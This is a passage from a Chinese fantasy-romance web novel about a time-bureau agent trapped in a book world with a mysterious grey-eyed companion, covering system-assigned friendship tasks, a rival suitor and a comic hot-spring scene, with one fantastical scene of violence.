一群戎装披甲的暗卫从四面八方持剑而来,将他围困其间。
“喂!就是你对吧,窃走了王后想送给公主们的礼物!”
吵嚷了许久,千亦久轻轻搁下茶杯,他蹙了一下眉,像是终于有点儿不耐烦了。
“你这个可恶的小偷!窃贼!罪犯!还不速速伏诛!”暗卫们叫嚣着。
千亦久以手支颐,一向郁郁不起任何情绪的眉眼间,终于带了点儿兴致。
然后,他很恶劣地笑了。
所有人背后一寒,这种感觉,就仿佛看见了阎王优雅从容地执立在地狱的鬼门关前,向着他们笑。
千亦久闭上眼,轻轻地,打了个响指。
瞬间,在场所有人的身上迸发出无数冰蓝与雪白的电子流光。奇异而近乎残忍的光芒仿佛一道道锁链,绞上众人的脖颈,绞上众人的四肢,越勒越紧。
所有人都痛苦到几乎发不出半点儿声音,拼命挣脱,他们眼睁睁地看见自己的双臂断掉,然后被流光吞噬,再是断掉双腿,最后才是脖颈。
一样一样,被蓝白相间的光芒慢条斯理地吞噬。
“你……你做了什么。”领头的暗卫倒在地上,目眦欲裂,巨大的畏惧淹没他,让他近乎没了任何正常的理智。
做了什么?千亦久啧了一声,他站起来在这人面前蹲下,很恶劣地笑,很显然,这些人类的痛苦取悦了他。他很高兴。
他抓上暗卫的头发,往后拽,巨大撕裂的痛楚让暗卫脸色变紫变红,血管张裂。
千亦久几乎要笑出声了。
暗卫不可置信地看见,这个人的眼睛……慢慢地变了。
他的眼睛泛起一层光泽,颜色由黑变浅,银白浅灰宛如琉璃,精致漂亮,带着一种近乎失明感的美丽。
是他动用能力时,所引起的外观变化。
“嘘。”
千亦久微笑,语气优雅而礼貌。
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“我在销毁我作案的证据,所以,请你们快一点死,好吗。”
是在商量,可是下一秒,被他揪住头发的人就四分五裂了。
光芒吞噬了所有,连一滴血都没留下。
仿佛不太尽兴,千亦久有点儿失望的啧了一声。
……
八方客酒楼三层。
时予欢抱着烛灯疯狂盘逻辑。
她没想到这灯在陆青玄手上压根没反应,陆青玄不是入侵时管局的那个人?那真正的凶手又该是谁?总不能真的是那个鹿蜀王后?她接下来该怎么办?
见她似乎陷入头脑风暴般的深思中,陆青玄皱了皱眉,手中折扇一收,问询道:“我记得,那日在花园里,你在追一个人。”
时予欢抱着灯,干愣愣地接话:“是,我确实是在找一个人。”
陆青玄问:“什么模样?”
时予欢回答:”蓝色的衣服。”
陆青玄思忖着,又问:“还有别的特征吗?”
时予欢仿佛像是想起了什么,忽然抱着头蹲下,怀中烛灯噗通一声滚落在地上,可她也顾不得去捡,说话的声音有点儿发抖:“还有……还有……”
……
在时管局任职的探员有成千上万,为什么偏偏是她来追捕罪犯呢?为什么这样危机重重的工作,会落在她的头上呢?
因为案件发生的那天。
是圣诞节。
那天,组里的其他同事都早早下班去过节了。
她的家乡没有过圣诞的习俗,所以,她被安排去值班了。
那天时管局的中央数据资料库,只有她一个人值班。
当零点的钟声敲响,当时管局遭遇入侵,系统发出刺耳催命的警告声时,她一个人闯进了中央数据资料库的终端核心。
然后,她看见了罪犯的脸。
“我见到那个人了。
“我记性很好的,见过一个人就不会忘的。
“那天太黑了,雪夜,照明系统全部失效,只有电控终端台和千万台计算机的电子光在亮。我没有见到罪犯的具体模样,也没有看清他的长相。
“只是在他转身和我四目相对时,在冷光的折射下,我看见了他蓝色的外衣。
“还有,还有……
“他还有一双灰白色的眼睛。”
只有她一个人见到了罪犯。
所以她追着对方来到了书中;所以一开始在花园里见到蓝色衣角时,她追了上去;所以她才会把千亦久误当罪犯,扑错了人。
时予欢低声呢喃自言自语,她说的话,陆青玄没有听清。陆青玄请她喝了杯茶,缓了缓心神,等她好些了,才派人送她下楼。
回到一楼时,时予欢这才发现,周围莫名其妙被清了场,只有千亦久还坐在正座上,慢悠悠地喝茶。
时予欢茫然道:“刚刚发生什么了吗?”
千亦久叹了口气,很无奈:“有一群笨蛋来找我麻烦。”
时予欢想起陆青玄说的:送你珠子的那个人,恐怕危险了。
她不禁有些担忧地问:“你没事么?有没有受伤?”
千亦久轻轻蹙了蹙眉:“无关紧要的存在而已,解释清楚后已经离开了。”
时予欢慢吞吞“哦”了一声,抱着烛灯唉声叹气。试探陆青玄失败了,接下来该怎么办呢。
千亦久斟了杯茶,很闲适随意地问:“饿了么,想吃什么?”
时予欢苦恼地抬起头看他。
她看见,他一双黑曜石般的眼睛美丽而精致,在清晨的阳光里,熠熠生辉。
8. 偏差恋爱
拂晓的风很好,从窗帘吹进来,将一桌佳肴映成金黄色。
时予欢原本还在冥思苦想接下来的人生事业,但鼻尖萦绕的香气实在太诱人,秉持着世间万物唯有美食不可辜负的原则,她决定暂时将人生事业搁置脑后。
一壶象牙白瓷沏东方美人,一小锅蹄花汤饭配着好几道甜润菜肴。
此前在她兴冲冲上楼寻人时,千亦久就用了饭,此时正斜倚在窗边慢悠悠喝茶。时予欢偷瞄了他一眼,忽然觉得手里的筷子怎么拿都拿不对。
当着外人的面,她不是很好意思吃得太过奔放。
她不习惯这种“和别人一起”的感觉。
说来话长,时予欢的学生时代过得颇为跌宕起伏,跟着母亲到处搬家,也就转过好几次学,做什么事也就从来没有固定搭子。
别人家的孩子冲食堂、上下学都是成群结伴的,她没有,她一个人上学一个人下学,一个人吃饭一个人去小卖部,渐渐的,她成了校园里很有个性的独行侠。
起初,她还感到落寞。
但后来,她觉得这样也很好。
一个人走路,她可以又蹦又跳想走多快就多快,一个人用餐,也可以不那么计较吃相,当做什么事都一个人的时候,就该习惯了。
是以此时此刻,当千亦久坐在她对面陪着她用餐时,时予欢竟难得的,有点儿手足无措了——坐姿是不是不太好看?我该吃快点儿还是吃慢点儿?是不是不能吃太多?唔……装一装?可以后该怎么办呢?天天装斯文吗?
以前也不是没有和同学同事聚餐聚会的经历,时予欢很有礼仪观念,做起来可谓行云流水游刃有余,毕竟她只需要矜持一顿饭的时间就好。
可现在不行,肉眼可见的她要跟千亦久这位新搭子共处很长一段时间,要天天装矜持委屈自己,她也不是很乐意。
正神游天外,指尖一滑,筷子“啪嗒”掉在地上,时予欢手忙脚乱弯腰想去捡,一片阴影却先一步笼下来——只见千亦久微微倾身,将一双新筷子推到她面前。
顺便,把那个闪烁着微光的终端也推了过来。
「叮——恭喜触发支线任务:十句话(积分奖励:300)」
“啪嗒。”时予欢手一抖,刚拿起的新筷子又掉了。
时予欢:“?”
千亦久:“……”
时予欢:“什么东西啊?”
千亦久:“这需要你去问总部,他们当时制定任务手册时是怎么想的。”
时予欢:“……”
新任务是十句话?什么十句话?对谁说?又说什么?她莫名其妙地戳了戳莫名其妙的终端,么得反应。
“喂喂喂。”她一下子忘了方才的纠结,凑到终端开始嘀嘀咕咕,“你好你好,我这算一句话吗?”
系统不理她。
时予欢感到不能理解,抬头看向千亦久,嘴唇张了张,似乎想要说点儿什么。介于此前的每一个任务都和千亦久有关,她理所当然的认为,这十句话也和千亦久有关。
“你对我说点儿什么?”时予欢眨巴眨巴眼,期待地看他。
千亦久默了默,慢悠悠说:“你筷子又掉了。”
系统也不理他。
时予欢眼睛睁得更圆了,她寻思着既然不是让千亦久对她说话,那或许应该反过来——是自己应该对他说些什么?
她咬了咬唇,仿佛是鼓足了勇气似的:“我……”
“笃笃。”两声不紧不慢的敲门,打断了她的话头。
门被轻轻推开,脚步声渐近,待一柄折扇撩开帏幔,来人不正是青衣官服的连山少君陆青玄又是谁呢?
陆青玄唇角含笑,温柔的目光先是在时予欢身上落了一落,转眸看见坐在这位帝姬殿下对面的那位蓝衣公子时,笑容凝固了。
千亦久仍在喝茶,连眼皮都没抬一下。
陆青玄笑容不变,语气却绵里藏针:“我本估摸着时辰差不多,想来送殿下她回去,不巧,碰着九公子了。”
陆青玄是个很会说话的仙君,心情好的时候字句如沐春风,心情糟糕了,那就是谁摊上他谁倒霉了。据说当年浮生帝宫里的人跟他对上,也没讨得什么便宜。
时予欢不想起正面冲突,在她看来,千亦久肯定不是陆青玄的对手——因为自打认识以来,千亦久就是个没什么脾气的家伙,最常对她说的话就是“随你”“我无所谓”之类的。
要在这里得罪了陆青玄,委实划不来,那句老话怎么说的来着?哦对,强龙不压地头蛇么。
她悄悄扯了扯他的袖子,低声道:“喂,你要不要……”她想说,我们要不要赶紧撤?
千亦久放下茶杯,慢条斯理道:“我在想他是谁。”
时予欢:“……”
陆青玄:“……”
千亦久懒懒地靠回椅背,抬起眼帘瞥了他一眼:“不认识。”
他又不是时予欢,对什么人什么事都那么上心,这么个无关紧要的人,他还真没放在眼里。
陆青玄面色一僵,折扇在身前摇了摇,又说:“我道小帝姬哪儿来的本事,竟能从王后和她那几位娇生惯养的公主手中抢得灵火珠,原来是你。”
千亦久顿了顿,似乎终于想起了某件事。
哦,原来他就是时予欢拿了漂亮珠子,还熬了个通宵,禁闭一解除立刻眼巴巴来蹲点,到最后还尽心尽力借花献佛来道歉的那个人。
“你说那个么。”千亦久轻啧了一声,上下打量了他一眼,好整以暇道,“我看着漂亮,所以取来就送了。”
陆青玄僵了一僵。
千亦久随意道:“只不过一颗珠子,鹿蜀国珍宝如云,看上去也不像个穷的,别的公主们有些什么,理所当然她也该有。”
陆青玄又僵了一僵。
千亦久不紧不慢又给自己斟了杯茶:“你送不起,所以跑来追问她又反问我,是想打秋风也讨要一份礼么?可惜,我也是个拮据的,所有的都给了她,也没多余的了。”
陆青玄脸僵到麻木了。
时予欢看傻眼了。
“咔嚓。”细微的碎裂声响起,陆青玄手中攥着的那柄玉骨扇子,在他本人僵硬的微笑中,缓缓裂开了。
他与小帝姬的姻缘从很早以前就在商定了,所以他也理所当然的,将这个女孩儿划进自己人的保护圈里,当看见他的人和帝宫的鹰犬又走得那么近,自然,是不悦的。
就在他正欲发火时,时予欢忽然站出来拦在他面前,态度很坚决的,不允许他伤害她身后的人。
陆青玄被气笑了:“小殿下,你眼前的这个人,是鹿蜀国的窃贼,罪犯。”
他咬着牙,一字一句道:“他是浮生帝宫下派到人间的鹰犬,不是好人。”
时予欢眨了眨眼,似乎不太明白陆青玄为什么反复强调这些话:“我知道啊,他的人设我背过了,背得很熟啊。”
陆青玄:“……”
双方对峙了许久,直至最后连山属官来请他们家的少君,说有要事相商,这才中止了这场小小的风波。
陆青玄铩羽而归,千亦久很淡定地让店家重新上了一桌热菜。
时予欢安安静静坐着,她难得有这样老实安静的时候,看上去心里就藏了事。
千亦久懒懒地打了个哈欠,说道:“真的很介意我盗了颗珠子么。”
他以手支颐抬眼瞧她,眸子被晨光映得浅淡:“
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我看上去,就那么像个坏人?”
时予欢从沉浸的思绪中抽离,愣了愣,忙摇摇头:“虽然就事论事的说,你是个坏人,起码站在外人的立场,对他们而言你是个坏人。”
她仔细想了想逻辑,又说道:“但是,我为什么要站在外人的立场来介意你做的事啊。”
「叮——任务进度+1」
电子音冷不丁响起,时予欢一愣,千亦久也愣了一愣。
时予欢顿了顿,继续说下去:“我肯定不会去站鹿蜀王后的立场,我肯定站在你这一方啊,你把珠子给了我当礼物,我是高兴的,我很少收到别人送的礼物。”
「叮——任务进度+5」
时予欢想起小时候,她曾短暂地交过几个“朋友”。
“朋友”很热情,人很好,于是在朋友生日时,她认认真真备了礼物送给对方,对方很高兴,并表示下次也要给她送贺礼。
时予欢也很高兴,并兴致勃勃等待着自己生日的到来,期待着对方会给自己送些什么。
可是什么都没有。
“朋友”忘了她的生日,在她鼓起勇气去问时,朋友只是故作惋惜地说:“啊,不好意思,我忘记了,下次给你补上好不好?”,时予欢天真地相信了。
没有下一次,下次甚至下下次,她的“朋友”依旧忘了她的生日。
后来,时予欢就很少在给别人送礼物了,也很少收到别人送的东西,哪怕有人送礼,她也会在第一时间挑个价值差不多的,送回去。不亏欠,就不会失望。
她很认真地说:“你花心思送了我一件很贵重的东西,我暂时还不起……唔,如果可以日后我也会还礼的,我记性很好的,真的,所以我还想对你说……”
系统提示音像盛夏的烟火一样噼里啪啦叮叮咚咚响得欢快。
时予欢攥了攥有点儿出汗的指尖,抬头看向千亦久,眉眼轻轻一弯,坐在灿烂的阳光里笑了笑。
“谢谢。”
晨光正好落在她脸上,将她毛茸茸的头发和那缕不听话的呆毛都染成金色。
她笑得很开心,很好看。
「‘向对方讲述与自己有关的十句话’,任务已完成」
向对方讲述与自己有关的十句话。
原来是这个啊。
时予欢愣愣地看着任务显示,忽然反应过来了——她终于想明白过来这些天她接到的,都是些什么任务了。
说不定,说不定这个系统它是一个交友指南呢?对吧?
忽略最开始那个“牵手”不计,后面的“共处”与现在的“十句话”,都是很明显的交友行动提示了对不对?
时予欢恍然大悟,天呐,她居然会觉得这些任务暧昧,真是心黄的人看什么都黄,怎么以前的自己那么糊涂,这么明显的任务提示都没看出来?
时予欢瞬间用一种“我懂得”的慈爱目光看向终端,并发自内心地觉得,它真是一台善解人意的好系统。
千亦久蹙了蹙眉心,看着她莫名其妙变得慈爱的神情,一时间欲言又止。
他觉得,她可能想偏了点儿什么。
算了,无所谓。
随便她想偏什么。
“……”
这天,时予欢终于兴高采烈心满意足地吃上了一顿珍馐佳肴。
她吃得很轻松很自然,腮帮子鼓鼓的,毛茸茸的头顶配上一弯蹦蹦跳跳的呆毛,也不觉得在千亦久面前有什么放不开。
一桌佳肴被风卷残云扫荡一空。
与之同时。
鹿蜀国君同连山王都之间的长老们在经历了几番博弈商榷后,小帝姬与连山少君的婚期也定了下来。
就在除祟祭后。
9. 坏小姐
“鹿蜀一族有个很传统的规矩。
“凡未婚嫁者,未成年的子民,不被允许离开铃冬山谷。
“对于鹿蜀族而言,外面的世界很复杂很遥远,于是很多年前,国君与王后带着他们的族人来到这处深山雪林定居,从此,铃冬谷成了这个世界上很小的一座山谷,而鹿蜀族,也不过是这个世界很小的一处族群。”
雪夜,屋檐下悬着的冰凌映着庭中一点炭火,偶尔有细雪飘进,在火光上化作一缕转瞬即逝的水汽。
“停——!等等,我有问题!”
时予欢蹲在火盆旁伸着双手取暖,指尖被烘得微微发红。她忽然抬起手,在正坐在台阶上讲故事的人面前用力晃了晃。
千亦久合上膝头那本《鹿蜀传奇志》,发出一声几不可闻的叹气。他揉了揉眉心,就着檐下灯笼昏黄的光看她,一脸“我就知道会这样”的认命感。
“时予欢小姐,从这本故事的开篇讲到现在,你已经向我提了三次问了。”
他的指尖无意识地落在书页上,有一搭没一搭地轻点着。
“第一次你问我,鹿蜀族为什么隐世而居,我回答你,是为了避开外界的危险。
“第二次你问我,难道就没有人想要离开这个地方吗?我回答你,有,所以很多鹿蜀族人会吓唬小孩子,比如说——仙女的衣服被凡人偷走了,仙女就再也回不了天上了,你们要是离开山谷了,就再也回不来了。”
他抬眼,眸色在火光的映照下显得慵懒。
“这次,你又想问我什么?”
距离上次在八方客吃宴后,又过了四五日。时予欢虽被解了禁闭,但依旧只能在王城活动,她这几日在王城中跑来跑去,甚至闯进了王后的寝宫试图去见一见王后,试图寻找罪犯的痕迹,但很可惜,一无所获,反而挨了好一通斥责。
时予欢觉得,由此可见推剧情查案这种事么,急躁是强求不来的,既然天降大任于她,她也得挨得起这份耐心磨砺,熬住考验。她虽不是侦探,但经此一事后,对于小说中的侦探,时予欢感到由衷敬佩。
不过,时予欢更敬佩的是同样和她一起被关在书中世界,却完全八风吹不动的千亦久。
和她不同,千亦久自从穿进书里后就毫无斗志,过着如同退休一般的养老生活,甚至于就算万一死在书里了,他也似乎无所谓。
一向斗志满满的时予欢看不下去了,便给他派了个工作:念故事给她听。
这个故事自然不是寻常故事,是有关鹿蜀国的传说、习俗。她觉得搓磨日子不是办法,无论如何都得自救。
“你想问我什么?”千亦久重复了一遍,尾音拖得有些长。
时予欢收回烤火的手,语气端正,态度诚恳:“我成年了。”
千亦久一挑眉,上下打量了她一眼:“我知道。”
时予欢眼睛一亮,往前凑了凑,满是期待:“那按照故事里的说法,我是不是可以出谷了?”
静默片刻,千亦久无情地戳破她的幻想泡泡:“很遗憾,不行。”
“为什么!”时予欢不满地提出抗议,“我成年了!实实在在的成年了!”她又强调了一遍。
千亦久重新翻开书页,语气毫无波澜:“因为这个故事,我还没有念完。”
时予欢像被戳破的气球,老实道:“那你继续念下去吧。”
簌簌雪声中,千亦久低沉平稳的嗓音再次响起,这个故事又重新开始。
“外面的世界虽然充满危险,但严苛的规则拦不住族人的好奇心,于是王后规定,婚嫁者可以离开,成年者可以离开,但鹿蜀族人的成年并不指某一个特定的岁数,而是指通过一项考验。
“每年除祟祭,鹿蜀国都举办一项比赛,只有经历重重考验赢了挑战的子民,才算作‘成年’,才拥有出谷的机会。”
时予欢听的目瞪口呆,她“你你你”“我我我”支吾了半天,都没支吾出个所以然,看上去,像是对这一奇葩规则充满无法理解的震惊。
“所以很显然。”千亦久合上书,动作干脆,“按鹿蜀的规矩,你现在,依旧是个‘未成年’。”
时予欢不服:“你不是吗?”
千亦久嘴角勾起一丝近乎嘲讽的弧度:“我又不是鹿蜀族人。”
时予欢:“……”
故事讲完,时予欢用了良久时间才从震惊中恢复,恢复完,反而兴致勃勃地同他讨论:“那你说,等我成年了能出去了,我们离开后去哪儿呢?听说浮生帝宫云巅威仪,各王都也……”
在她看来,不就是一次除祟祭嘛,成年那就是分分钟的事儿!
千亦久没有接话,他将故事书随手搁在身侧台阶上,身体往后靠了靠,手肘支在上一级台阶上,整个人呈现出一种松懈的,近乎漠然的姿态。
“我不打算离开。”
时予欢眨了眨眼,怀疑自己听错了:“……啊?”
“我说。”千亦久重复了一遍,语气平淡,“我不打算离开山谷,或者说,我们或许该在此分道扬镳。”
“为什么?”时予欢完全没想到他会这么说,疑惑道,“被关着有什么好呢?外面有更广阔的世界,有更多找到线索完成任务的机会,你不想出去吗?”
千亦久轻轻扫过她的眼睛,那双总是生机勃勃充满热情的目光小小的刺痛了他一下。
“很抱歉,我没有对‘生活’的概念,没有对‘自由’的定义,也没有对‘命运’的期盼。”
他顿了顿,移开视线:“对我而言,‘外面’和‘这里’本质上并无区别,不过是从一个小的笼子,跳进一个更大的笼子。”
说完,他站起身,侧脸映在明明灭灭的火光中,显得有些模糊。
“就这样吧。”
他步入廊下阴影,身影很快被黑暗吞没。
寒风卷着细雪轻轻吹着,刚才还温暖的火苗在脆弱的雪夜里忽明忽暗。庭院里顿时只余时予欢一个人,还有那盆兀自燃烧的炭火和故事书。
“怎么会这样呢?”时予欢抱膝坐着,眉头紧锁。她觉得千亦久真的很奇怪,是她活了这么多年碰见过最奇怪的人——为什么有的人会选择在原地止步不前呢?
身后,雪地里传来沙沙的声响,时予欢没回头,她听着这轻微的动静,以为是千亦久去而复返,不由得抱怨着。
“你知道回来,你居然还知道回来?其实,其实我想说我离开这里……”
她望着夜空下意识开始嘟囔,带着不易察觉的鼻音。
铃冬谷其实没有什么夜空可言,山谷的顶部都是陡崖峭壁,山崖与山崖间对峙相邻,唯一的夜色就从这些宽宽窄窄的缝隙中漏进来。
“我只是想,去看一看外面的世界而已。”
山的那边是什么?海的尽头有什么?永不熄灭的霞光?还是霭霭的云浪?
身后没有回应,连脚步声也消失了。
时予欢皱了皱眉,终于回过头。
哪儿有什么千亦久,不过是一只通体雪白的飞鸟不知何时悄然落下,正栖在那本故事书上,歪着头,用漆黑的小眼睛安静地看她。
时予欢怔了怔,心底莫名掠过一丝失落。
她从怀中摸出几颗原本备着零嘴的玉米粒,轻轻摊在手心,递过去。
飞鸟低头迅速轻巧地啄完食,在她掌心蹦跳了两下,随后振翅而起,扑着翅膀,重新飞进夜色与雪幕中。
庭中愈发空寂。
鬼使神差的,时予欢微微俯身,拾起了刚刚那本千亦久没有讲完的故事书,书页在膝上摊开,恰好是故事的尾页,讲述着鹿蜀国避世的前因后果。
「二十三年前,有天外来客降临此世,后来,在时间的长河中,诞生了一位特殊的生命。」
「他是个可怕的怪物,有一双灰白色的眼睛,他摧毁、屠戮,几乎毁灭了一个又一个时空。」
「谢天谢地,最后天外来客带走了他。」
「鹿蜀一族害怕怪物的再次到来,因此带着族人们避世而居。」
时予欢的目光落在“灰白色的眼睛”几个字上,只觉得浑身血液仿佛凝固,一股寒意自脊背窜起。
发现新的线索了,得告诉他才行。
“……”
要找到千亦久是个很简单的事。
时予欢握着终端在四通八达的庭院中走来走去,系统提示音在她手中
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叮叮当当一阵作响。
「检测目标人物正在附近,‘共处一室’任务正完成中,进度51%……」
千亦久说的对,这玩意儿就是个定位器,只需要根据进度条的快慢和提示的缓急,就能轻易判断出他在哪里。
凭着“导航”,她熟门熟路的摸到庭院深处一座幽静的花园,隔着萧萧竹影,隔着几扇绘着山水云鹤的屏风,她听见哗啦啦的水声。
嗯?水声?
时予欢心中一动,悄无声息的穿过中庭。
雪色轻轻笼罩,庭院后的冬青花林里有一汪仙泉水,山石草木,一簇簇花藤坠在澄澈的池水上方,蒸腾的雾气弥漫着,仿若月晖留在人间的诗意。
在温泉边一块被雾气濡湿的灰黑泉石上,随意地搭着一件墨蓝色的外衣。
时予欢眼睛倏然睁大。
她撞见千亦久泡温泉了?还是千亦久泡温泉被她撞见了?不对这两句话说的是同一件事儿吧!
人呢?人在哪儿?让我看看。
时予欢下意识屏住呼吸,像小动物一样弯着腰鬼鬼祟祟在周围转来转去,很可惜,雾气太重,除了那件外衣以外,什么都没发现。
蓦地,那个千亦久方才年过的、鹿蜀族用来吓唬小孩的传说跃入脑海:仙女的衣服被凡人偷走以后,仙女就再也回不了天上了。
一个大胆的,带着恶作剧性质的念头生了出来。
老祖宗诚不欺我么。
她很得意。
呵,我可真是一个坏女人。
……
千亦久有个坏毛病:他不开心时喜欢泡在水里。
譬如此时。
在无尽的水中不断下沉,千亦久喜欢这种不必挣扎,接近溺水的濒死感,是离死亡最接近的时刻。
他想起了这几日的时光……遇见一个很奇怪的女孩,女孩好像不小心将他当朋友。
好可惜,他们之间太不一样了,他当不了她的朋友。
好可惜,他也不喜欢这个女孩儿。
然而,一声清亮且中气十足宛如银铃的呼喊,如同利箭般扎破水面,蛮横地扎进他的耳膜。
“水里的人听好了!你已经被包围了!”
千亦久一顿。
根本无需辨认,下意识的,他就听出了这声音的主人是谁。
他缓缓浮出水面,隔着氤氲的雾气,果不其然,只见女孩儿梗着脖子,气鼓鼓站在耐冬花丛后看着他,怀里还紧紧抱着他的衣服。
哦,他的衣服。
“听好了,我只问一次——!”
她看起来好像十分生气,哦,也是被他惹的。
“要不要跟我走!”
女孩儿恶狠狠地要挟,看上去,十足十的有着强抢民男,逼良为……额,为寇的悍匪架势。
只有温泉水轻轻拍打石岸的细微声响。
千亦久隔着朦胧水汽与短短距离望着她。
女孩儿的脸颊不知是冻得还是气得,反正很红,眼睛也很圆,像森林里的小鹿一样圆,明明在做“坏事”,却一副正义凛然的模样。
忽然,他极轻、极快地笑了一下。
唇角勾起一个转瞬即逝的弧度,像一片羽毛从风里掠去,他第一次在她面前笑,几乎难以捕捉,眉眼里带着一丝近乎自嘲又觉得有趣的神采。
哦,他错了。
有时候,他还是想稍微挣扎那么一下的。
“你跟我走!我就把衣服还你!”时予欢抱紧了怀里作为“人质”的衣服,毕竟,那可是她最重要的筹码。
千亦久缓缓浮到岸边,在浅水区站定,温泉水仅没至他腰际,露出肌肉线条流畅的上半身,晶莹的水珠从他湿透的黑发滚落,滚过英挺的眉骨,微阖的眼睫,一路沿着清晰的下颌线滚过去,最后,从线条漂亮的锁骨与胸膛上,嘀嗒一声没入水雾深处。
又是一阵短暂的沉默,只有水滴落下的细微回音。
“要不要跟你走啊……”
他忽得截了话头,浸在水雾里的嗓音听不出什么怒火,反而夹杂着点儿无奈,以及极淡的,几乎难以察觉的玩味。
“你凑近些,我就告诉你。”
10. 坏先生
时予欢一直觉得,自己从小到大都是个很坚强的女孩。
譬如小时候,爸爸妈妈离婚,她觉得自己可以适应,当然也确实适应过来了;直到后来葱茏的青春岁月,哪怕一直没有交到朋友,她也觉得自己一个人没有问题,她能适应。
故而,时予欢对自己的定义,从来都是一位洒脱坚强又很能自己哄自己高兴的奇女子。
但现在不行了。
万万不行!
面对千亦久说的“停在原地,分道扬镳”这种话,时予欢的内心小人正在悲切地控诉:孩子坚强不起来呀!
这种感觉像什么呢?就好像在玩游戏,游戏明明是个双人副本,刚发现BOSS的踪迹,队友忽然鸣金收兵原地一坐,表示:“我就看看,你加油。”这能忍住不骂队友吗?不能!
她是不会放过他的!
哪怕他逃她追,他也插翅难飞。
漂亮少年没有插翅飞,他此刻正半身浸在温泉里,单手支颐,好整以暇地望着岸上气势汹汹却明显有点儿虚张声势的“绑匪”。
“你凑近些,”蒸腾的雾气朦胧了他的嗓音,带着罕见的低哑,“我就告诉你。”
时予欢脑袋里被美色砸得嗡了一声,还好还好,理智还在:“你……吃错药了?不对呀,你怎么能是这个反应呢?”
千亦久顿了顿,反问:“那我该是什么反应。”
时予欢咽了咽口水,说道:“照理说呢,唔……照最传统桥段展开来说呢,我劫色你,你该惊慌失措脸红心跳,到最后被我的霸道折服,乖乖跟我走,我说什么就是什么。”
千亦久似乎对她的说法感到新奇,眉梢微动,很是鼓励地示意她继续说。
“当然,故事通常还有一种桥段。”时予欢煞有介事,偏头思索着,“比如猎人常常以猎物的身份出场,表面是我劫色你,其实是你蓄谋已久,请君入瓮。”
千亦久闻言,先是默了默,他似乎在思考,很认真的思考他跟她之间么,现在的局面到底属于哪一种状况。
思索良久,他坦然地将自己浸在水中的身形和岸上抱着她外袍,脸颊绯红的时予欢打量了好一番,慢悠悠地说:“还有么。”
时予欢:“……”
她悟了!合着她在这儿苦心孤诣旁敲侧击地暗示他不要耍花样,他全当听说书呢!还是免费的!
小小的坏脾气一时发作,时予欢哼了一声,抱着他的衣服转身就走,下定决心要好好晾一晾这个不按常理出牌的坏先生。
“小姐,请问您这个色,”千亦久低沉的嗓音自身后传来,不紧不慢,“还劫不劫?”
时予欢脚步顿住,背影僵了一僵,她从小到大听牛郎织女的故事听了不知多少次,虽说老祖宗诚不欺我,但事实证明有些案例,还是不要轻易效仿。
比如眼下这个情况,很明显,是卡性格的局,人家织女人美心善脾气好,现在可好,她面对的这个“织女”,是个一向什么都不在乎,只会得寸进尺的糟糕性子。
失策,失策。
她气鼓鼓地转回身,瞪向水中的那个罪魁祸首。
千亦久迎着她的目光,神情堪称淡定,甚至带点儿实验室里搞科研的意味:“我只是觉得半途而废,有点可惜。”
他微微抬头,湿发滑落额角:“毕竟是头一回被劫色,我也挺新奇。”
时予欢彻底认栽,无言以对。
说不过,说不过逃之夭夭还不成么,她再次转身就走,走得又快又急,不料刚迈出两步,雪景竹影轻轻一晃,只见陆青玄执扇而立,脚也僵在半空,要落不落。
“无意叨扰,我本是来寻小帝姬,同她说有关除祟祭的……事。”他咳嗽了两声,假装似乎被眼前景象震惊的人不是自己,“你们继续,继续……我稍后再来打扰。”
说罢,他迅速恢复常态,转身就走掉了。
好一个无意叨扰。
“你,我,不是……”时予欢欲哭无泪,心中仿佛万马奔腾。
她缓缓回头,用一种咬牙切齿的目光看向温泉里那位“我什么都没做”的当事人。
千亦久用一种何其无辜,何其大方的神情回看她。
时予欢心跳如擂鼓,怦怦、怦怦。
听见心跳了,别跳了!
要真劫色,也不是不可以,反正是她占便宜。
只是时予欢还是略有道德压力,她虽说从小胆子大么,但到底很有道德观,连别人的一颗糖都没多拿过,现在却要直面自己惹出的误会。
阿弥陀佛。时予欢暗自唾弃自己,还是见识少了,修炼的不到家,面对着貌美妖怪才会定力不足。
要是,要是现在能有个光明正大,让她良心稍安,没什么道德压力的借口就好了,这样她去劫色,也不是不可以嘛,反正她问心无愧,行得端站得直。
「叮——恭喜触发支线任务:窥背(积分奖励:200)(限时5分钟内完成)」
谢谢啊。
?
等等系统你说什么?看谁的背?谁的?你不是个正经的交友指南系统吗?你在说什么虎狼之词啊亲!
系统沉默是金,它只是个莫得感情的任务发布机。
时予欢在心里礼貌亲切地问候系统全家。他大爷的。
系统莫得大爷,非要论大爷,时管局的总部控制台的系统应该是它大爷,大爷又叫“总统”。
时予欢差点儿要原地尖叫了,调戏不是这么个调戏法,促进朋友关系也不是这么个促进法,从牵手到共处一室,从十句话到看裸背……下一步你还想干嘛你说啊!你是不是要发“鸳鸯浴体验券”了?
她深吸一口气,抱着赴死般的决心转过身,重新把自己挪回温泉边。
千亦久看着她去而复返,看着她视死如归的目光,十分疑惑。
时予欢闭了闭眼,声音很绝望:“劳驾您……转过去一下,谢谢配合。”
千亦久:“?”
“我可能,也许,大概……”她咬牙切齿,声音像从牙缝里挤出来的,“需要看一下你的背。”
沉默在氤氲的水雾中漾开,水声,风声,雪声,带着柔软的诗意在两人间轻轻交织。
半晌,千亦久缓缓开口,嗓音恢复了平日的冷淡,甚至多了点儿不易察觉的僵硬:“我拒绝。”
时予欢眨巴眨巴眼。
“我没有经历过被劫色。”千亦久沉沉地望向她,叹了口气,“但如果需要我转过去。”
顿了顿,他认真地告诉她。
“我的答案是,我拒绝。”
他的背上有什么?这是时予欢心里冒出来的第一个念头。神秘印记?中二图腾?还是……有什么魔法契约之类的东西?
好奇心害死猫,大概就是说得她这种人。
时予欢抱着他的衣服绕着温泉来回踱步,心里盘算着要怎么神不知鬼不觉把这个任务解决了,同时又觉得这事儿都怪千亦久,只要他穿好衣服从池子里出来,不就没那么多事儿了?
可她忘了,她完全可以不做这个非强制性的支线任务。
她也忘了,忘了把衣服还他,不还衣服,千亦久又怎么从池子里出来呢。
倒计时只剩三分钟了。
机会只有一次,她像只焦躁的猫在池边转来转去,最后,她小心翼翼地接近池边,以身犯险似的,伸出绣鞋往水中探去。
池边的泉石湿滑朦胧,布着柔软苔藓。
扑通!
哗啦!
哎呀!
水花四溅,时予欢以一种毫无新意的方式,一头栽进了温泉里。
温暖的泉水瞬间包裹上来,视线一片模糊。慌乱中,一只有力的手臂迅速环过她的腰,将她稳稳当当托出水面。
“咳!咳咳……”她坐在池边石壁,狼狈地咳嗽,头发湿漉漉地粘在脸上。
